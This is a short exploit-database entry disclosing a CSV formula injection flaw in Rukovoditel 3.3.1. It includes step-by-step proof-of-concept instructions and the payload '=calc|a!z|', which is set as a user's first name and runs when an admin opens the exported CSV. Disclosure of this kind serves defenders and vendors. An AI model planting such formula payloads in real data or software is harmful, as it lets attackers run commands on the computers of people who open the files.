Share
## https://sploitus.com/exploit?id=PACKETSTORM:172665
Exploit Title: Rukovoditel 3.3.1 - CSV injection  
Version: 3.3.1  
Bugs: CSV Injection  
Technology: PHP  
Vendor URL: https://www.rukovoditel.net/  
Software Link: https://www.rukovoditel.net/download.php  
Date of found: 27-05-2023  
Author: Mirabbas Ağalarov  
Tested on: Linux   
  
  
2. Technical Details & POC  
========================================  
Step 1. login as user  
step 2. Go to My Account ( http://127.0.0.1/index.php?module=users/account )  
step 3. Set Firstname as =calc|a!z|  
step 3. If admin Export costumers as CSV file ,in The computer of admin occurs csv injection and will open calculator (http://localhost/index.php?module=items/items&path=1)  
  
payload: =calc|a!z|